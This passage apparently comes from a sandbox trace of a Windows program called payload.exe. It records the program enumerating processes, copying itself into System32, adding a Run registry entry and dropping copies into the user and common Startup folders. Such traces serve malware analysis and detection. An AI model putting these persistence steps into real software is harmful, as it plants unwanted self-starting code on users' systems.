19 [0053.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0053.348] lstrlenW (lpString="utg2.exe") returned 8 [0053.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0053.349] lstrlenW (lpString="slope.exe") returned 9 [0053.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0053.350] lstrlenW (lpString="entered.exe") returned 11 [0053.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0053.351] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0053.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0053.352] lstrlenW (lpString="attach.exe") returned 10 [0053.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0053.352] lstrlenW (lpString="obligations.exe") returned 15 [0053.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.353] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.353] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.354] lstrlenW (lpString="taskhost.exe") returned 12 [0053.354] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0053.355] lstrlenW (lpString="dllhost.exe") returned 11 [0053.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0053.355] lstrlenW (lpString="dllhost.exe") returned 11 [0053.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0053.356] lstrlenW (lpString="payload.exe") returned 11 [0053.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0053.356] CloseHandle (hObject=0xe0) returned 1 [0053.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605270 | out: hHeap=0x5d0000) returned 1 [0053.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6052b8 | out: hHeap=0x5d0000) returned 1 [0053.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605300 | out: hHeap=0x5d0000) returned 1 [0053.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5d0000) returned 1 [0053.356] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605368 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x604a08 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4720 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4758 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4350 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4378 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e47a0 | out: hHeap=0x5d0000) returned 1 [0053.357] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e43a0 | out: hHeap=0x5d0000) returned 1 [0053.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x60b430 [0053.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x61b438 [0053.357] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.357] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e43a0 [0053.357] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e43a0, Size=0x40) returned 0x6069b0 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e43a0 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e4378 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e4350 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x6069f8 [0053.358] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61b438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62b440 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63b448 [0053.358] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e4350 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x606a40 [0053.358] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a40, Size=0x80) returned 0x605270 [0053.359] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605270, Size=0x100) returned 0x607bb8 [0053.359] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb8 | out: hHeap=0x5d0000) returned 1 [0053.359] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x62b440, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\payload.exe") returned 0x20 [0053.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63b448 | out: hHeap=0x5d0000) returned 1 [0053.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b440 | out: hHeap=0x5d0000) returned 1 [0053.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0053.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.359] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x5e4350 [0053.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.359] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x605938 [0053.359] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.359] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.359] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0053.359] lstrlenW (lpString="kernel32.dll") returned 12 [0053.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4350 | out: hHeap=0x5d0000) returned 1 [0053.359] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.359] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0053.360] CreateFileW (lpFileName="C:\\Windows\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0053.360] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.375] WriteFile (in: hFile=0xe4, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.377] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0053.378] CloseHandle (hObject=0xe4) returned 1 [0053.388] CloseHandle (hObject=0xe0) returned 1 [0053.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.388] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x605938 [0053.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.388] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x6058e8 [0053.388] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.388] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.388] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0053.388] lstrlenW (lpString="kernel32.dll") returned 12 [0053.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e8 | out: hHeap=0x5d0000) returned 1 [0053.388] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x5d0000) returned 1 [0053.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.394] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x605938 [0053.394] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605938, Size=0x40) returned 0x606a40 [0053.394] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a40, Size=0x80) returned 0x62b458 [0053.394] lstrlenW (lpString="C:\\Windows\\System32\\payload.exe") returned 31 [0053.394] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0053.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5c) returned 0x605270 [0053.394] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0053.394] RegSetValueExW (in: hKey=0xe0, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\payload.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\payload.exe") returned 0x0 [0053.395] RegCloseKey (hKey=0xe0) returned 0x0 [0053.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605270 | out: hHeap=0x5d0000) returned 1 [0053.395] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0053.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b458 | out: hHeap=0x5d0000) returned 1 [0053.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d440 [0053.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d448 [0053.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.396] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a08, Size=0x20) returned 0x605938 [0053.396] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605938, Size=0x40) returned 0x606a40 [0053.396] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a40, Size=0x80) returned 0x62b458 [0053.396] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x607bb8 [0053.396] lstrlenW (lpString="") returned 0 [0053.396] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cc0 [0053.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0053.396] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x63d448*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0053.396] RegCloseKey (hKey=0xe0) returned 0x0 [0053.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cc0 | out: hHeap=0x5d0000) returned 1 [0053.397] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cc0 [0053.397] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0053.397] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0053.397] RegCloseKey (hKey=0xe4) returned 0x0 [0053.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cc0 | out: hHeap=0x5d0000) returned 1 [0053.397] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0053.397] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb8 | out: hHeap=0x5d0000) returned 1 [0053.397] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x62d440, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x68 [0053.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d448 | out: hHeap=0x5d0000) returned 1 [0053.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d440 | out: hHeap=0x5d0000) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0053.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.397] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x605938 [0053.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.398] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x6058e8 [0053.398] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.398] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.398] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0053.398] lstrlenW (lpString="kernel32.dll") returned 12 [0053.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.398] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e8 | out: hHeap=0x5d0000) returned 1 [0053.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0053.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0053.402] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.415] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0053.417] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0053.417] CloseHandle (hObject=0xe8) returned 1 [0053.419] CloseHandle (hObject=0xe4) returned 1 [0053.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.419] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x6058e8 [0053.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.419] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x605938 [0053.419] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.419] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.419] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0053.419] lstrlenW (lpString="kernel32.dll") returned 12 [0053.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.420] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e8 | out: hHeap=0x5d0000) returned 1 [0053.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x5d0000) returned 1 [0053.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d440 [0053.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d448 [0053.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.425] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x6058e8 [0053.425] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6058e8, Size=0x40) returned 0x606a40 [0053.425] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a40, Size=0x80) returned 0x62b458 [0053.425] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x607bb8 [0053.425] lstrlenW (lpString="") returned 0 [0053.425] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cc0 [0053.425] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0053.425] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0053.425] RegCloseKey (hKey=0xe4) returned 0x0 [0053.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cc0 | out: hHeap=0x5d0000) returned 1 [0053.425] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0053.425] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0053.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb8 | out: hHeap=0x5d0000) returned 1 [0053.426] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x62d440, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0053.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d448 | out: hHeap=0x5d0000) returned 1 [0053.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d440 | out: hHeap=0x5d0000) returned 1 [0053.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2100020 [0053.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.426] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x6058e8 [0053.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a38 [0053.426] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a38, Size=0x20) returned 0x605938 [0053.426] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.426] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.426] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0053.426] lstrlenW (lpString="kernel32.dll") returned 12 [0053.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e8 | out: hHeap=0x5d0000) returned 1 [0053.426] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0053.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605938 | out: hHeap=0x5d0000) returned 1 [0053.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0053.427] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 